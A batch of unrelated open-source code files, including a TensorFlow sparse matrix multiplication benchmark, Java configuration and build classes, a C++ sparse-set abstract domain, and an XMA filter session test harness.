# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Functional tests for SparseTensorDenseMatMul."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import sys
from tensorflow.core.protobuf import config_pb2
from tensorflow.python.framework import constant_op
from tensorflow.python.framework import tensor_shape
from tensorflow.python.kernel_tests import sparse_tensor_dense_matmul_op_base
from tensorflow.python.ops import control_flow_ops
from tensorflow.python.ops import math_ops
from tensorflow.python.platform import test
SparseTensorDenseMatMulTest = (
sparse_tensor_dense_matmul_op_base.SparseTensorDenseMatMulTestBase
)
def _sparse_tensor_dense_vs_dense_matmul_benchmark_dense(x, y, adjoint_a,
adjoint_b):
def body(t, prev):
with ops.control_dependencies([prev]):
return (t + 1, math_ops.matmul(
x,
y,
transpose_a=adjoint_a,
transpose_b=adjoint_b,
a_is_sparse=True,
b_is_sparse=False))
t0 = constant_op.constant(0)
v0 = constant_op.constant(0.0)
def _timeit(iterations, _):
(_, final) = control_flow_ops.while_loop(
lambda t, _: t < iterations,
body, (t0, v0),
parallel_iterations=1,
back_prop=False,
shape_invariants=(tensor_shape.TensorShape(()),
tensor_shape.TensorShape(None)))
return [final]
return _timeit
def _sparse_tensor_dense_vs_dense_matmul_benchmark_sparse(x_ind, x_val, x_shape,
y, adjoint_a,
adjoint_b):
sp_x = sparse_tensor.SparseTensor(
indices=x_ind, values=x_val, dense_shape=x_shape)
def body(t, prev):
with ops.control_dependencies([prev]):
return (t + 1, sparse_ops.sparse_tensor_dense_matmul(
sp_x, y, adjoint_a=adjoint_a, adjoint_b=adjoint_b))
t0 = constant_op.constant(0)
v0 = constant_op.constant(0.0)
def _timeit(iterations, _):
(_, final) = control_flow_ops.while_loop(
lambda t, _: t < iterations,
body, (t0, v0),
parallel_iterations=1,
back_prop=False,
shape_invariants=(tensor_shape.TensorShape(()),
tensor_shape.TensorShape(None)))
return [final]
return _timeit
def sparse_tensor_dense_vs_dense_matmul_benchmark(thresh,
m,
k,
n,
adjoint_a,
adjoint_b,
use_gpu,
skip_dense=False):
config = config_pb2.ConfigProto()
config.allow_soft_placement = True
# Configurable for benchmarking:
# config.intra_op_parallelism_threads = 100
# config.gpu_options.per_process_gpu_memory_fraction = 0.3
np.random.seed([6, 117]) # Reproducibility
x = np.random.rand(m, k).astype(np.float32)
x[x < thresh] = 0
y = np.random.randn(k, n).astype(np.float32)
if adjoint_a:
x = x.T
if adjoint_b:
y = y.T
def _timer(sess, ops_fn, iterations):
# Warm in
sess.run(ops_fn(10, sess))
# Timing run
start = time.time()
sess.run(ops_fn(iterations, sess))
end = time.time()
return (end - start) / (1.0 * iterations) # Average runtime per iteration
# Using regular matmul, marking one of the matrices as dense.
if skip_dense:
delta_dense = float("nan")
else:
with session.Session(config=config, graph=ops.Graph()) as sess:
if not use_gpu:
with ops.device("/cpu:0"):
x_t = constant_op.constant(x)
y_t = constant_op.constant(y)
ops_fn = _sparse_tensor_dense_vs_dense_matmul_benchmark_dense(
x_t, y_t, adjoint_a, adjoint_b)
else:
with ops.device("/device:GPU:0"):
x_t = constant_op.constant(x)
y_t = constant_op.constant(y)
ops_fn = _sparse_tensor_dense_vs_dense_matmul_benchmark_dense(
x_t, y_t, adjoint_a, adjoint_b)
delta_dense = _timer(sess, ops_fn, 200)
# Using sparse_tensor_dense_matmul.
with session.Session("", config=config, graph=ops.Graph()) as sess:
if not use_gpu:
with ops.device("/cpu:0"):
x_ind = constant_op.constant(np.vstack(np.where(x)).astype(np.int64).T)
x_val = constant_op.constant(x[np.where(x)])
x_shape = constant_op.constant(np.array(x.shape).astype(np.int64))
y_t = constant_op.constant(y)
ops_fn = _sparse_tensor_dense_vs_dense_matmul_benchmark_sparse(
x_ind, x_val, x_shape, y_t, adjoint_a, adjoint_b)
else:
with ops.device("/device:GPU:0"):
x_ind = constant_op.constant(np.vstack(np.where(x)).astype(np.int64).T)
x_val = constant_op.constant(x[np.where(x)])
x_shape = constant_op.constant(np.array(x.shape).astype(np.int64))
y_t = constant_op.constant(y)
ops_fn = _sparse_tensor_dense_vs_dense_matmul_benchmark_sparse(
x_ind, x_val, x_shape, y_t, adjoint_a, adjoint_b)
delta_sparse = _timer(sess, ops_fn, 200)
print("%g \t %d \t %s \t %d \t %d \t %g \t %g \t %g" %
(1 - thresh, n, use_gpu, m, k, delta_dense, delta_sparse,
delta_sparse / delta_dense))
def main(_):
print("DenseDense MatMul (w/ Sparse Flag) vs. SparseTensorDense MatMul")
print("Matrix sizes:")
print(" A sparse [m, k] with % nonzero values between 1% and 80%")
print(" B dense [k, n]")
print("")
print("% nnz \t n \t gpu \t m \t k \t dt(dense) \t dt(sparse) "
"\t dt(sparse)/dt(dense)")
for thresh in (0.99, 0.8, 0.5, 0.2):
for n in (50, 100):
for use_gpu in (True, False):
for m in (100, 1000):
for k in (100, 1000):
sparse_tensor_dense_vs_dense_matmul_benchmark(
thresh, m, k, n, False, False, use_gpu=use_gpu)
# Enable for large scale benchmarks, these ones take a long time to run.
#
# for use_gpu in (True, False):
# sparse_tensor_dense_vs_dense_matmul_benchmark(
# thresh=0.99, m=1000000, k=1000, n=100, adjoint_a=False,
# adjoint_b=False, use_gpu=use_gpu, skip_dense=True)
if __name__ == "__main__":
if "--benchmarks" in sys.argv:
sys.argv.remove("--benchmarks")
app.run()
else:
test.main()
| 3,694 |
765 | <filename>opendps/gfx-poweroff.h
/** Gfx generated from `./gen_lookup.py -i gfx/png/poweroff.png -o poweroff` */
#ifndef __GFX_POWEROFF_H__
#define __GFX_POWEROFF_H__
#include <stdint.h>
#define GFX_POWEROFF_HEIGHT (16)
#define GFX_POWEROFF_WIDTH (16)
extern const uint8_t gfx_poweroff[512];
#endif // __GFX_POWEROFF_H__ | 149 |
362 | package net.ripe.db.whois.update.handler.transform;
import net.ripe.db.whois.common.rpsl.AttributeType;
import net.ripe.db.whois.common.rpsl.ObjectType;
import net.ripe.db.whois.common.rpsl.RpslObject;
import net.ripe.db.whois.common.rpsl.RpslObjectBuilder;
import net.ripe.db.whois.update.domain.Action;
import net.ripe.db.whois.update.domain.Update;
import net.ripe.db.whois.update.domain.UpdateContext;
import net.ripe.db.whois.update.domain.UpdateMessages;
import org.springframework.stereotype.Component;
@Component
public class MntRoutesAttributeTransformer implements Transformer {
public RpslObject transform(final RpslObject rpslObject,
final Update update,
final UpdateContext updateContext,
final Action action) {
if ((rpslObject.getType() != ObjectType.AUT_NUM) ||
!rpslObject.containsAttribute(AttributeType.MNT_ROUTES)) {
return rpslObject;
}
updateContext.addMessage(update, UpdateMessages.mntRoutesAttributeRemoved());
return new RpslObjectBuilder(rpslObject).removeAttributeType(AttributeType.MNT_ROUTES).get();
}
}
| 511 |
8,772 | <reponame>dgusoff/cas<filename>api/cas-server-core-api-configuration-model/src/main/java/org/apereo/cas/configuration/model/support/passwordless/PasswordlessAuthenticationTokensProperties.java
package org.apereo.cas.configuration.model.support.passwordless;
import org.apereo.cas.configuration.model.core.util.EncryptionJwtSigningJwtCryptographyProperties;
import org.apereo.cas.configuration.model.support.email.EmailProperties;
import org.apereo.cas.configuration.model.support.passwordless.token.PasswordlessAuthenticationJpaTokensProperties;
import org.apereo.cas.configuration.model.support.passwordless.token.PasswordlessAuthenticationRestTokensProperties;
import org.apereo.cas.configuration.model.support.sms.SmsProperties;
import org.apereo.cas.configuration.support.RequiresModule;
import org.apereo.cas.util.crypto.CipherExecutor;
import com.fasterxml.jackson.annotation.JsonFilter;
import lombok.Getter;
import lombok.Setter;
import lombok.experimental.Accessors;
import org.springframework.boot.context.properties.NestedConfigurationProperty;
import java.io.Serializable;
/**
* This is {@link PasswordlessAuthenticationTokensProperties}.
*
* @author <NAME>
* @since 6.4.0
*/
@RequiresModule(name = "cas-server-support-passwordless")
@Getter
@Setter
@Accessors(chain = true)
@JsonFilter("PasswordlessAuthenticationTokensProperties")
public class PasswordlessAuthenticationTokensProperties implements Serializable {
private static final long serialVersionUID = 8371063350377031703L;
/**
* Indicate how long should the token be considered valid.
*/
private int expireInSeconds = 180;
/**
* Crypto settings on how to reset the password.
*/
@NestedConfigurationProperty
private EncryptionJwtSigningJwtCryptographyProperties crypto = new EncryptionJwtSigningJwtCryptographyProperties();
/**
* Passwordless authentication settings via REST.
*/
@NestedConfigurationProperty
private PasswordlessAuthenticationRestTokensProperties rest = new PasswordlessAuthenticationRestTokensProperties();
/**
* Passwordless authentication settings via JPA.
*/
@NestedConfigurationProperty
private PasswordlessAuthenticationJpaTokensProperties jpa = new PasswordlessAuthenticationJpaTokensProperties();
/**
* Email settings for notifications.
*/
@NestedConfigurationProperty
private EmailProperties mail = new EmailProperties();
/**
* SMS settings for notifications.
*/
@NestedConfigurationProperty
private SmsProperties sms = new SmsProperties();
public PasswordlessAuthenticationTokensProperties() {
crypto.getEncryption().setKeySize(CipherExecutor.DEFAULT_STRINGABLE_ENCRYPTION_KEY_SIZE);
crypto.getSigning().setKeySize(CipherExecutor.DEFAULT_STRINGABLE_SIGNING_KEY_SIZE);
}
}
| 888 |
2,059 | #if !(defined(GO) && defined(GOM) && defined(GO2) && defined(DATA))
#error meh!
#endif
GO(XGetXCBConnection, pFp)
GO(XSetEventQueueOwner, vFpu)
| 64 |
1,668 | package org.elixir_lang.jps.target;
import org.elixir_lang.jps.Target;
import org.elixir_lang.jps.model.ModuleType;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import org.jetbrains.jps.builders.BuildTargetLoader;
import org.jetbrains.jps.builders.ModuleBasedBuildTargetType;
import org.jetbrains.jps.model.JpsDummyElement;
import org.jetbrains.jps.model.JpsModel;
import org.jetbrains.jps.model.module.JpsTypedModule;
import java.util.ArrayList;
import java.util.List;
/**
* Created by zyuyou on 15/7/10.
*/
public class Type extends ModuleBasedBuildTargetType<Target>{
public static final Type PRODUCTION = new Type("elixir-production", false);
public static final Type TEST = new Type("elixir-test", true);
private final boolean myTests;
private Type(String elixir, boolean tests){
super(elixir);
myTests = tests;
}
@NotNull
@Override
public List<Target> computeAllTargets(@NotNull JpsModel model) {
List<Target> targets = new ArrayList<Target>();
for (JpsTypedModule<JpsDummyElement> module : model.getProject().getModules(ModuleType.INSTANCE)){
targets.add(new Target(this, module));
}
return targets;
}
@NotNull
@Override
public BuildTargetLoader<Target> createLoader(@NotNull final JpsModel model) {
return new BuildTargetLoader<Target>() {
@Nullable
@Override
public Target createTarget(@NotNull String targetId) {
for (JpsTypedModule<JpsDummyElement> module : model.getProject().getModules(ModuleType.INSTANCE)){
if(module.getName().equals(targetId)){
return new Target(Type.this, module);
}
}
return null;
}
};
}
public boolean isTests(){
return myTests;
}
}
| 650 |
5,937 | <filename>src/Microsoft.DotNet.Wpf/src/WpfGfx/common/DirectXLayer/Factories/xmfactory.hpp<gh_stars>1000+
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
#pragma once
#if defined (DIRECTXMATH)
#include "xmath/xmcommon.hpp"
#include "xmath/base/vector2_base_t.hpp"
#include "xmath/base/vector3_base_t.hpp"
#include "xmath/base/vector4_base_t.hpp"
#include "xmath/base/matrix_base_t.hpp"
#include "xmath/base/color_base_t.hpp"
#include "xmath/vector2_xm.hpp"
#include "xmath/vector3_xm.hpp"
#include "xmath/vector4_xm.hpp"
#include "xmath/quaternion_xm.hpp"
#include "xmath/matrix_xm.hpp"
#include "xmath/extensions_xm.hpp"
#include "xmath/color_xm.hpp"
#include "xmath/shader_compiler_xm.hpp"
namespace dxlayer
{
const dxapi dx_apiset = dxapi::xmath;
typedef vector2_t<dx_apiset> vector2;
typedef vector3_t<dx_apiset> vector3;
typedef vector4_t<dx_apiset> vector4;
typedef quaternion_t<dx_apiset> quaternion;
typedef matrix_t<dx_apiset> matrix;
typedef math_extensions_t<dx_apiset> math_extensions;
typedef color_t<dx_apiset> color;
typedef shader_t<dx_apiset> shader;
}
#endif
| 550 |
1,639 | from tests.conftest import JiraTestCase
class CustomFieldOptionTests(JiraTestCase):
def test_custom_field_option(self):
option = self.jira.custom_field_option("10000")
self.assertEqual(option.value, "To Do")
| 86 |
487 | /*
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
#pragma once
#include <iterator>
#include <ostream>
#include <vector>
#include "PowersetAbstractDomain.h"
namespace sparta {
namespace ssad_impl {
/*
* An implementation of a powerset abstract domain based on the sparse data
* structure described in the following paper:
*
* <NAME> & <NAME>. An Efficient Representation for Sparse Sets. ACM
* Letters on Programming Languages and Systems, 2(1-4):59-69,1993.
*
* This powerset domain can only handle elements that are unsigned integers
* belonging to a fixed-size universe {0, ..., max_size-1}.
*/
template <typename IntegerType>
class SparseSetValue final
: public PowersetImplementation<IntegerType,
std::vector<IntegerType>,
SparseSetValue<IntegerType>> {
public:
using iterator = typename std::vector<IntegerType>::iterator;
using const_iterator = typename std::vector<IntegerType>::const_iterator;
// This constructor is defined solely to satisfy the requirement that an
// AbstractDomain must be default-constructible. It shouldn't be used in
// practice.
SparseSetValue() : m_capacity(0), m_element_num(0) {}
// Returns an empty set over a universe of the given size.
SparseSetValue(size_t max_size)
: m_capacity(max_size),
m_element_num(0),
m_dense(max_size),
m_sparse(max_size) {}
void clear() override { m_element_num = 0; }
// Returns a vector that contains all the elements in the sparse set.
std::vector<IntegerType> elements() const override {
return std::vector<IntegerType>(begin(), end());
}
AbstractValueKind kind() const override { return AbstractValueKind::Value; }
bool contains(const IntegerType& element) const override {
if (element >= m_capacity) {
return false;
}
size_t dense_idx = m_sparse[element];
return dense_idx < m_element_num && m_dense[dense_idx] == element;
}
bool leq(const SparseSetValue& other) const override {
if (m_element_num > other.m_element_num) {
return false;
}
for (size_t i = 0; i < m_element_num; ++i) {
if (!other.contains(m_dense[i])) {
return false;
}
}
return true;
}
bool equals(const SparseSetValue& other) const override {
return (m_element_num == other.m_element_num) && this->leq(other);
}
void add(const IntegerType& element) override {
if (element < m_capacity) {
size_t dense_idx = m_sparse[element];
size_t n = m_element_num;
if (dense_idx >= m_element_num || m_dense[dense_idx] != element) {
m_sparse[element] = n;
m_dense[n] = element;
m_element_num = n + 1;
}
}
}
void remove(const IntegerType& element) override {
if (element < m_capacity) {
size_t dense_idx = m_sparse[element];
size_t n = m_element_num;
if (dense_idx < n && m_dense[dense_idx] == element) {
IntegerType last_element = m_dense[n - 1];
m_element_num = n - 1;
m_dense[dense_idx] = last_element;
m_sparse[last_element] = dense_idx;
}
}
}
iterator begin() { return m_dense.begin(); }
iterator end() { return std::next(m_dense.begin(), m_element_num); }
const_iterator begin() const { return m_dense.begin(); }
const_iterator end() const {
return std::next(m_dense.begin(), m_element_num);
}
AbstractValueKind join_with(const SparseSetValue& other) override {
if (other.m_capacity > m_capacity) {
m_dense.resize(other.m_capacity);
m_sparse.resize(other.m_capacity);
m_capacity = other.m_capacity;
}
for (IntegerType e : other) {
add(e);
}
return AbstractValueKind::Value;
}
AbstractValueKind widen_with(const SparseSetValue& other) override {
return join_with(other);
}
AbstractValueKind meet_with(const SparseSetValue& other) override {
for (auto it = begin(); it != end();) {
if (!other.contains(*it)) {
// If other doesn't contain this element, we remove it using the current
// position. The function remove() will fill this position with the last
// element in the dense array.
remove(*it);
} else {
// If other contains this element, we just move on to the next position.
++it;
}
}
return AbstractValueKind::Value;
}
AbstractValueKind narrow_with(const SparseSetValue& other) override {
return meet_with(other);
}
AbstractValueKind difference_with(const SparseSetValue& other) override {
for (auto it = begin(); it != end();) {
if (other.contains(*it)) {
remove(*it);
} else {
++it;
}
}
return AbstractValueKind::Value;
}
size_t size() const override { return m_element_num; }
friend std::ostream& operator<<(std::ostream& o,
const SparseSetValue& value) {
o << "[#" << value.size() << "]";
const auto& elements = value.elements();
o << "{";
for (auto it = elements.begin(); it != elements.end();) {
o << *it++;
if (it != elements.end()) {
o << ", ";
}
}
o << "}";
return o;
}
private:
size_t m_capacity;
size_t m_element_num;
std::vector<IntegerType> m_dense;
std::vector<size_t> m_sparse;
};
} // namespace ssad_impl
/*
* We defined a powerset abstract domain based on the sparse set data structure.
*/
template <typename IntegerType>
class SparseSetAbstractDomain final
: public PowersetAbstractDomain<IntegerType,
ssad_impl::SparseSetValue<IntegerType>,
std::vector<IntegerType>,
SparseSetAbstractDomain<IntegerType>> {
public:
using Value = ssad_impl::SparseSetValue<IntegerType>;
~SparseSetAbstractDomain() {
// The destructor is the only method that is guaranteed to be created when
// a class template is instantiated. This is a good place to perform all
// the sanity checks on the template parameters.
static_assert(std::is_unsigned<IntegerType>::value,
"IntegerType is not an unsigned arihmetic type");
static_assert(sizeof(IntegerType) <= sizeof(size_t),
"IntegerType is too large");
}
SparseSetAbstractDomain()
: PowersetAbstractDomain<IntegerType,
Value,
std::vector<IntegerType>,
SparseSetAbstractDomain>() {}
explicit SparseSetAbstractDomain(AbstractValueKind kind)
: PowersetAbstractDomain<IntegerType,
Value,
std::vector<IntegerType>,
SparseSetAbstractDomain>(kind) {}
explicit SparseSetAbstractDomain(IntegerType max_size) {
this->set_to_value(Value(max_size));
}
static SparseSetAbstractDomain bottom() {
return SparseSetAbstractDomain(AbstractValueKind::Bottom);
}
static SparseSetAbstractDomain top() {
return SparseSetAbstractDomain(AbstractValueKind::Top);
}
};
} // namespace sparta
| 2,880 |
359 | /*
* Copyright (C) 2018, Xilinx Inc - All rights reserved
* Xilinx SDAccel Media Accelerator API
*
* Licensed under the Apache License, Version 2.0 (the "License"). You may
* not use this file except in compliance with the License. A copy of the
* License is located at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#include <memory.h>
//#include <strings.h
#include <string>
#include <iostream>
#include "xma.h"
#include "xma_test_plg.h"
#include "lib/xmahw.h"
#include "lib/xmahw_private.h"
#include "lib/xmaapi.h"
#include "lib/xmares.h"
int ck_assert_int_lt(int rc1, int rc2) {
if (rc1 >= rc2) {
return -1;
} else {
return 0;
}
}
int ck_assert_int_eq(int rc1, int rc2) {
if (rc1 != rc2) {
return -1;
} else {
return 0;
}
}
int ck_assert_str_eq(const char* str1, const char* str2) {
if (std::string(str1) != std::string(str2)) {
return -1;
} else {
return 0;
}
}
int ck_assert(bool result) {
if (!result) {
return -1;
} else {
return 0;
}
}
static XmaHwHAL hw_hal;
static XmaHwCfg hw_cfg;
static inline int32_t check_xmaapi_probe(XmaHwCfg *hwcfg) {
return 0;
}
static inline bool check_xmaapi_is_compatible(XmaHwCfg *hwcfg, XmaSystemCfg *systemcfg) {
return true;
}
/* TODO: JPM include basic yaml config with single kernel xclbin
* so that hw configure could be executed with respect to populating
* the XmaHwCfg data structure
*/
static inline bool check_xmaapi_hw_configure(XmaHwCfg *hwcfg, XmaSystemCfg *systemcfg, bool hw_cfg_status) {
return true;
}
static void tst_setup(void);
static void tst_teardown_check(void);
int test_filter_session_create()
{
extern XmaSingleton *g_xma_singleton;
XmaFilterProperties filter_props;
XmaFilterSession *sess;
g_xma_singleton->hwcfg = hw_cfg;
memset(&filter_props, 0, sizeof(XmaFilterProperties));
filter_props.hwfilter_type = XMA_2D_FILTER_TYPE;
strncpy(filter_props.hwvendor_string, "Xilinx", (MAX_VENDOR_NAME - 1));
sess = xma_filter_session_create(&filter_props);
return ck_assert(sess != NULL);
}
int neg_test_filter_session_create()
{
XmaFilterSession *sess1, *sess2, *sess3, *sess4, *sess5;
extern XmaSingleton *g_xma_singleton;
XmaFilterProperties filter_props;
int rc = 0;
g_xma_singleton->hwcfg = hw_cfg;
memset(&filter_props, 0, sizeof(XmaFilterProperties));
filter_props.hwfilter_type = XMA_2D_FILTER_TYPE;
strncpy(filter_props.hwvendor_string, "Xilinx", (MAX_VENDOR_NAME - 1));
sess1 = xma_filter_session_create(&filter_props);
rc |= ck_assert(sess1 != NULL);
sess2 = xma_filter_session_create(&filter_props);
rc |= ck_assert(sess2 != NULL);
sess3 = xma_filter_session_create(&filter_props);
rc |= ck_assert(sess3 != NULL);
sess4 = xma_filter_session_create(&filter_props);
rc |= ck_assert(sess4 != NULL);
sess5 = xma_filter_session_create(&filter_props);
rc |= ck_assert(sess5 == NULL);
return rc;
}
int test_filter_session_create_destroy_create()
{
extern XmaSingleton *g_xma_singleton;
XmaFilterProperties filter_props;
XmaFilterSession *sess1, *sess2, *sess3, *sess4, *sess5;
int32_t rc1 = 0;
int rc = 0;
g_xma_singleton->hwcfg = hw_cfg;
memset(&filter_props, 0, sizeof(XmaFilterProperties));
filter_props.hwfilter_type = XMA_2D_FILTER_TYPE;
strncpy(filter_props.hwvendor_string, "Xilinx", (MAX_VENDOR_NAME - 1));
sess1 = xma_filter_session_create(&filter_props);
rc |= ck_assert(sess1 != NULL);
sess2 = xma_filter_session_create(&filter_props);
rc |= ck_assert(sess2 != NULL);
sess3 = xma_filter_session_create(&filter_props);
rc |= ck_assert(sess3 != NULL);
sess4 = xma_filter_session_create(&filter_props);
rc |= ck_assert(sess4 != NULL);
sess5 = xma_filter_session_create(&filter_props);
rc |= ck_assert(sess5 == NULL);
rc1 = xma_filter_session_destroy(sess4);
rc |= ck_assert_int_eq(rc1, 0);
sess5 = xma_filter_session_create(&filter_props);
rc |= ck_assert(sess5 != NULL);
return rc;
}
int test_filter_session_send()
{
extern XmaSingleton *g_xma_singleton;
XmaFilterProperties filter_props;
XmaFilterSession *sess;
XmaFrame *dummy = (XmaFrame*)malloc(sizeof(XmaFrame));
//int32_t data_used = 0;
int32_t rc1 = 0;
int rc = 0;
g_xma_singleton->hwcfg = hw_cfg;
memset(&filter_props, 0, sizeof(XmaFilterProperties));
filter_props.hwfilter_type = XMA_2D_FILTER_TYPE;
strncpy(filter_props.hwvendor_string, "Xilinx", (MAX_VENDOR_NAME - 1));
sess = xma_filter_session_create(&filter_props);
rc |= ck_assert(sess != NULL);
rc1 = xma_filter_session_send_frame(sess, dummy);
rc |= ck_assert(rc1 & XMA_PLG_FIL);
rc |= ck_assert(rc1 & XMA_PLG_SEND);
return rc;
}
int test_filter_session_recv()
{
extern XmaSingleton *g_xma_singleton;
XmaFilterProperties filter_props;
XmaFilterSession *sess;
XmaFrame *dummy = (XmaFrame*)malloc(sizeof(XmaFrame));
int32_t rc1 = 0;
int rc = 0;
g_xma_singleton->hwcfg = hw_cfg;
memset(&filter_props, 0, sizeof(XmaFilterProperties));
filter_props.hwfilter_type = XMA_2D_FILTER_TYPE;
strncpy(filter_props.hwvendor_string, "Xilinx", (MAX_VENDOR_NAME - 1));
sess = xma_filter_session_create(&filter_props);
rc |= ck_assert(sess != NULL);
rc1 = xma_filter_session_recv_frame(sess, dummy);
rc |= ck_assert(rc1 & XMA_PLG_FIL);
rc |= ck_assert(rc1 & XMA_PLG_RECV);
return rc;
}
int main()
{
int number_failed = 0;
int32_t rc;
extern XmaHwInterface hw_if;
hw_if.is_compatible = check_xmaapi_is_compatible;
hw_if.configure = check_xmaapi_hw_configure;
hw_if.probe = check_xmaapi_probe;
std::string kernel_name("bogus name");
hw_hal.dev_handle = (void*)"bogus 0";
kernel_name.copy(hw_hal.kernels[0].name, 20);
hw_hal.kernels[0].base_address = 0x7000000000000000;
hw_hal.kernels[0].ddr_bank = 0;
kernel_name.copy(hw_hal.kernels[1].name, 20);
hw_hal.kernels[1].base_address = 0x8000000000000000;
hw_hal.kernels[1].ddr_bank = 0;
hw_cfg.num_devices = 10;
hw_cfg.devices[0].handle = (XmaHwDevice *)&hw_hal;
hw_cfg.devices[0].in_use = false;
hw_cfg.devices[1].handle = (XmaHwDevice *)&hw_hal;
hw_cfg.devices[1].in_use = false;
hw_cfg.devices[2].handle = (XmaHwDevice *)&hw_hal;
hw_cfg.devices[2].in_use = false;
hw_cfg.devices[3].handle = (XmaHwDevice *)&hw_hal;
hw_cfg.devices[3].in_use = false;
hw_cfg.devices[4].handle = (XmaHwDevice *)&hw_hal;
hw_cfg.devices[4].in_use = false;
hw_cfg.devices[5].handle = (XmaHwDevice *)&hw_hal;
hw_cfg.devices[5].in_use = false;
hw_cfg.devices[6].handle = (XmaHwDevice *)&hw_hal;
hw_cfg.devices[6].in_use = false;
hw_cfg.devices[7].handle = (XmaHwDevice *)&hw_hal;
hw_cfg.devices[7].in_use = false;
hw_cfg.devices[8].handle = (XmaHwDevice *)&hw_hal;
hw_cfg.devices[8].in_use = false;
hw_cfg.devices[9].handle = (XmaHwDevice *)&hw_hal;
hw_cfg.devices[9].in_use = false;
tst_setup();
rc = test_filter_session_create();
if (rc != 0) {
number_failed++;
}
tst_teardown_check();
tst_setup();
rc = neg_test_filter_session_create();
if (rc != 0) {
number_failed++;
}
tst_teardown_check();
tst_setup();
rc = test_filter_session_create_destroy_create();
if (rc != 0) {
number_failed++;
}
tst_teardown_check();
tst_setup();
rc = test_filter_session_send();
if (rc != 0) {
number_failed++;
}
tst_teardown_check();
tst_setup();
rc = test_filter_session_recv();
if (rc != 0) {
number_failed++;
}
tst_teardown_check();
if (number_failed == 0) {
printf("XMA check_xmafilter test completed successfully\n");
return EXIT_SUCCESS;
} else {
printf("ERROR: XMA check_xmafilter test failed\n");
return EXIT_FAILURE;
}
//return (number_failed == 0) ? EXIT_SUCCESS : EXIT_FAILURE;
}
static void tst_setup(void)
{
extern XmaSingleton *g_xma_singleton;
char *cfgfile = (char*) "../system_cfg/check_cfg.yaml";
struct stat stat_buf;
int rc;
g_xma_singleton = (XmaSingleton*)malloc(sizeof(*g_xma_singleton));
memset(g_xma_singleton, 0, sizeof(*g_xma_singleton));
ck_assert(g_xma_singleton != NULL);
rc = xma_cfg_parse(cfgfile, &g_xma_singleton->systemcfg);
ck_assert_int_eq(rc, 0);
rc = xma_logger_init(&g_xma_singleton->logger);
ck_assert_int_eq(rc, 0);
/* heuristic check to determine proper parsing of cfg */
rc = strcmp(g_xma_singleton->systemcfg.dsa, "xilinx_vcu1525_dynamic_5_0");
ck_assert_int_eq(rc, 0);
/* Ensure no prior test file system pollution remains */
unlink(XMA_SHM_FILE);
unlink(XMA_SHM_FILE_SIG);
g_xma_singleton->shm_res_cfg = xma_res_shm_map(&g_xma_singleton->systemcfg);
ck_assert(g_xma_singleton->shm_res_cfg != NULL);
xma_res_mark_xma_ready(g_xma_singleton->shm_res_cfg);
rc = stat(XMA_SHM_FILE, &stat_buf);
ck_assert_int_eq(rc, 0);
rc = stat(XMA_SHM_FILE_SIG, &stat_buf);
ck_assert_int_eq(rc, 0);
rc = xma_enc_plugins_load(&g_xma_singleton->systemcfg,
g_xma_singleton->encodercfg);
ck_assert_int_eq(rc, 0);
rc = xma_scaler_plugins_load(&g_xma_singleton->systemcfg,
g_xma_singleton->scalercfg);
ck_assert_int_eq(rc, 0);
rc = xma_dec_plugins_load(&g_xma_singleton->systemcfg,
g_xma_singleton->decodercfg);
ck_assert_int_eq(rc, 0);
rc = xma_filter_plugins_load(&g_xma_singleton->systemcfg,
g_xma_singleton->filtercfg);
ck_assert_int_eq(rc, 0);
rc = xma_kernel_plugins_load(&g_xma_singleton->systemcfg,
g_xma_singleton->kernelcfg);
ck_assert_int_eq(rc, 0);
return;
}
static void tst_teardown_check(void)
{
extern XmaSingleton *g_xma_singleton;
struct stat stat_buf;
int rc;
if (g_xma_singleton && g_xma_singleton->shm_res_cfg)
xma_res_shm_unmap(g_xma_singleton->shm_res_cfg);
rc = stat(XMA_SHM_FILE, &stat_buf);
ck_assert_int_lt(rc, 0);
rc = stat(XMA_SHM_FILE_SIG, &stat_buf);
ck_assert_int_lt(rc, 0);
if (g_xma_singleton)
free(g_xma_singleton);
return;
}
| 4,988 |
634 | /*
* Copyright 2000-2013 JetBrains s.r.o.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.intellij.tools;
import com.intellij.openapi.actionSystem.ActionManager;
import com.intellij.openapi.application.ApplicationManager;
import com.intellij.openapi.options.SchemeProcessor;
import com.intellij.openapi.options.SchemesManagerFactory;
import jakarta.inject.Inject;
import jakarta.inject.Singleton;
/**
* @author traff
*/
@Singleton
public class ToolManager extends BaseToolManager<Tool> {
public static ToolManager getInstance() {
return ApplicationManager.getApplication().getComponent(ToolManager.class);
}
@Inject
public ToolManager(ActionManager actionManager, SchemesManagerFactory factory) {
super(actionManager, factory);
}
@Override
protected String getSchemesPath() {
return "$ROOT_CONFIG$/tools";
}
@Override
protected SchemeProcessor<ToolsGroup<Tool>> createProcessor() {
return new ToolsProcessor<Tool>() {
@Override
protected ToolsGroup<Tool> createToolsGroup(String groupName) {
return new ToolsGroup<Tool>(groupName);
}
@Override
protected Tool createTool() {
return new Tool();
}
};
}
@Override
protected String getActionIdPrefix() {
return Tool.ACTION_ID_PREFIX;
}
}
| 562 |
372 | <gh_stars>100-1000
/*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
/*
